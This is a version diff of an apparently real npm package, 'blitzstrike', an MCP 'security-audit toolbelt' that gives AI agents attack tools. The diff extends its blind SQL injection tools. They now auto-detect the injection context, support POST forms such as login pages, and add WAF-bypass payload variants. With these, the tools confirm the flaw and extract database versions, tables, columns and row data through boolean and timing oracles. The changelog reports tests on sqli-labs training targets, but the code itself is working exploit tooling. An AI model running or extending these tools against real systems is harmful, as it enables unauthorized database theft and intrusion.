blitzstrike 2.4.157 → 2.4.158

package/CHANGELOG.md

@@ -5,6 +5,19 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.158] — 2026-10-11
+
+### Added — injection-context adaptation + POST support (blind SQLi)
+
+- `blind_sqli_confirm` + `blind_sqli_extract` now AUTO-DISCOVER the injection
+  context (single quote ' / double quote " / numeric / parenthesized ')·") and
+  adapt the oracle + extraction payloads, instead of assuming single-quote.
+- Added `method` (GET/POST) + `body` template ({value} placeholder) so form/login
+  blind SQLi (POST) works — verified on sqli-labs Less-15 (POST uname/passwd).
+- Verified on sqli-labs advanced set: Less-8 single-quote boolean, Less-9 single-
+  quote time, Less-10 double-quote time, Less-15 POST — all confirm + extract
+  version/database cleanly.
+
 ## [2.4.157] — 2026-10-11
 
 ### Added — SQLi type taxonomy + diagnostic flow (LLM understanding)

package/dist/index.js

@@ -62444,55 +62444,66 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
   };
 }
 function oracleBypassVariants(base) {
+  const body = base.replace(/^'/, "");
   return [
     base,
+    `"${body}`,
+    body,
+    `')${body}`,
+    `")${body}`,
     base.replace("-- -", "#"),
-    base.replace("-- -", "--"),
     base.replace(/ /g, "/**/"),
-    base.replace(/AND/g, "aNd"),
-    base.replace(/^'/, '"'),
-    base.replace(/^'/, "')")
+    base.replace(/AND/g, "aNd")
   ];
 }
 function extractBypassVariants(tpl) {
   const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
-  return [
-    tpl,
-    tpl.replace(fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR"),
-    tpl.replace(fn, fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING"),
-    tpl.replace(fn, "MID"),
-    tpl.replace(fn, `${fn}/**/`)
-  ];
+  const fns = [fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR", fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING", "MID"];
+  const contexts = ["'", '"', "", "')", '")'];
+  const variants = [];
+  for (const c of contexts)
+    for (const f of fns)
+      variants.push(tpl.replace(/^'/, c).replace(fn, f));
+  return variants;
+}
+function makeFetcher(base, param, method, bodyTpl) {
+  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike)" };
+  return {
+    async size(payload) {
+      try {
+        let r;
+        if (method === "POST") {
+          const body = (bodyTpl ?? `${param}={value}`).replace("{value}", payload);
+          r = await fetch(base, { method: "POST", headers: { ...headers, "Content-Type": "application/x-www-form-urlencoded" }, redirect: "follow", signal: AbortSignal.timeout(9000), body });
+        } else {
+          r = await fetch(`${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`, { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
+        }
+        return (await r.text()).length;
+      } catch {
+        return -1;
+      }
+    },
+    async time(payload) {
+      const t0 = Date.now();
+      await this.size(payload);
+      return Date.now() - t0;
+    }
+  };
 }
-async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
+async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}) {
   const base = baseUrl.replace(/\/+$/, "") + "/";
   const p = blindSqli(dbms);
   if (!p)
     return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
-  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike confirm)" };
-  const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
-  const fetchSize = async (payload) => {
-    try {
-      const r = await fetch(build(payload), { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
-      const body = await r.text();
-      return { ok: true, status: r.status, size: body.length };
-    } catch (e) {
-      return { ok: false, status: 0, size: 0 };
-    }
-  };
-  const fetchTiming = async (payload) => {
-    const t0 = Date.now();
-    const r = await fetchSize(payload);
-    return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
-  };
-  let boolDiff = false, bt = { ok: false, size: 0 }, bf = { ok: false, size: 0 };
+  const F = makeFetcher(base, param, opts.method ?? "GET", opts.body);
+  let boolDiff = false, bt = -1, bf = -1;
   let boolBypass = null;
   const btv = oracleBypassVariants(p.oracle.boolean_true);
   const bfv = oracleBypassVariants(p.oracle.boolean_false);
   for (let i = 0;i < btv.length; i++) {
-    const t = await fetchSize(`${value}${btv[i]}`);
-    const f = await fetchSize(`${value}${bfv[i]}`);
-    if (t.ok && f.ok && t.size !== f.size) {
+    const t = await F.size(`${value}${btv[i]}`);
+    const f = await F.size(`${value}${bfv[i]}`);
+    if (t >= 0 && f >= 0 && t !== f) {
       boolDiff = true;
       bt = t;
       bf = f;
@@ -62500,13 +62511,13 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
       break;
     }
   }
-  let timeDiff = false, tt = { ms: 0 }, tf = { ms: 0 };
+  let timeDiff = false, tt = 0, tf = 0;
   const ttv = oracleBypassVariants(p.oracle.time_true);
   const tfv = oracleBypassVariants(p.oracle.time_false);
   for (let i = 0;i < ttv.length; i++) {
-    const t = await fetchTiming(`${value}${ttv[i]}`);
-    const f = await fetchTiming(`${value}${tfv[i]}`);
-    if (t.ms > 2000 && f.ms < 2000) {
+    const t = await F.time(`${value}${ttv[i]}`);
+    const f = await F.time(`${value}${tfv[i]}`);
+    if (t > 2000 && f < 2000) {
       timeDiff = true;
       tt = t;
       tf = f;
@@ -62519,12 +62530,13 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
     dbms,
     param,
     value,
-    boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff, bypass: boolBypass },
-    time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
+    method: opts.method ?? "GET",
+    boolean: { true_size: bt, false_size: bf, differential: boolDiff, bypass: boolBypass },
+    time: { true_ms: tt, false_ms: tf, differential: timeDiff },
     confirmed,
     channel,
     bypass_used: boolBypass,
-    evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
+    evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt}b vs FALSE=${bf}b${boolBypass ? ` (bypass: ${boolBypass})` : ""}` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt}ms vs FALSE≈${tf}ms` : "") + "." : "no clean boolean or time differential observed (tried default + WAF-bypass variants) — not confirmed as blind SQLi."
   };
 }
 function resolveQueryExpr(p, target, opts) {
@@ -62554,33 +62566,39 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
   const queryExpr = resolveQueryExpr(p, target, opts);
   if (!queryExpr)
     return { error: `unknown target '${target}'`, known: ["version", "database", "user", "tables", "columns", "data"] };
-  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike extract)" };
-  const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
+  const F = makeFetcher(base, param, opts.method ?? "GET", opts.body);
+  const getSize = (payload) => F.size(payload);
+  const getTime = (payload) => F.time(payload);
   const maxlen = opts.maxlen ?? 64;
-  const getSize = async (payload) => {
-    try {
-      const r = await fetch(build(payload), { headers, redirect: "follow", signal: AbortSignal.timeout(9000) });
-      return (await r.text()).length;
-    } catch {
-      return -1;
-    }
-  };
-  const getTime = async (payload) => {
-    const t0 = Date.now();
-    await getSize(payload);
-    return Date.now() - t0;
-  };
   let channel = opts.channel ?? "boolean";
-  let trueSize = -1, falseSize = -1;
+  const contexts = ["'", '"', "", "')", '")'];
+  let ctx = "'";
+  let trueSize = -1;
   if (channel === "boolean") {
-    trueSize = await getSize(`${value}${p.oracle.boolean_true}`);
-    falseSize = await getSize(`${value}${p.oracle.boolean_false}`);
-    if (trueSize < 0 || falseSize < 0 || trueSize === falseSize) {
+    for (const c of contexts) {
+      const t = await getSize(`${value}${p.oracle.boolean_true.replace(/^'/, c)}`);
+      const f = await getSize(`${value}${p.oracle.boolean_false.replace(/^'/, c)}`);
+      if (t >= 0 && f >= 0 && t !== f) {
+        ctx = c;
+        trueSize = t;
+        break;
+      }
+    }
+    if (trueSize < 0)
       channel = "time";
+  }
+  if (channel === "time") {
+    for (const c of contexts) {
+      const t = await getTime(`${value}${p.oracle.time_true.replace(/^'/, c)}`);
+      const f = await getTime(`${value}${p.oracle.time_false.replace(/^'/, c)}`);
+      if (t > 2000 && f < 2000) {
+        ctx = c;
+        break;
+      }
     }
   }
   const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
-  const baseTpl = channel === "time" ? p.extraction.time : p.extraction.boolean;
+  const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
   const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
   const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
   const variants = extractBypassVariants(baseTpl);
@@ -62619,6 +62637,7 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
     target,
     channel,
     query: queryExpr,
+    context: ctx,
     extracted: out,
     char_count: out.length,
     bypass_used: tplBypass,
@@ -65344,10 +65363,12 @@ ${statusLine}` : statusLine },
       base_url: string2().describe("Target base URL"),
       param: string2().describe("Parameter name to confirm (e.g. id)"),
       value: string2().describe("Baseline value (e.g. 1)"),
-      dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
+      dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
+      method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
+      body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')")
     }
-  }, async ({ base_url, param, value, dbms }) => {
-    return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql")) }] };
+  }, async ({ base_url, param, value, dbms, method, body }) => {
+    return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body })) }] };
   });
   server.registerTool("blind_sqli_extract", {
     title: "Blind SQLi metadata extraction (autonomous)",
@@ -65361,10 +65382,12 @@ ${statusLine}` : statusLine },
       channel: string2().optional().describe("'boolean' or 'time' (default boolean, auto-falls-back to time)"),
       table: string2().optional().describe("Table name (for columns/data)"),
       column: string2().optional().describe("Column name (for data)"),
-      index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)")
+      index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
+      method: string2().optional().describe("'GET' (default) or 'POST'"),
+      body: string2().optional().describe("POST body template with {value} placeholder")
     }
-  }, async ({ base_url, param, value, dbms, target, channel, table, column, index }) => {
-    return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index })) }] };
+  }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body }) => {
+    return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body })) }] };
   });
   server.registerTool("oob_start", {
     title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.157",
+  "version": "2.4.158",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {